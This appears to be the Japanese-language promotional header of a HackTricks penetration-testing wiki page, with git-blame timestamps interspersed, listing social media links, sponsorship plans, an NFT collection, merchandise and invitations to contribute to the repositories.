2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2023-07-07 23:42:27 +00:00
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>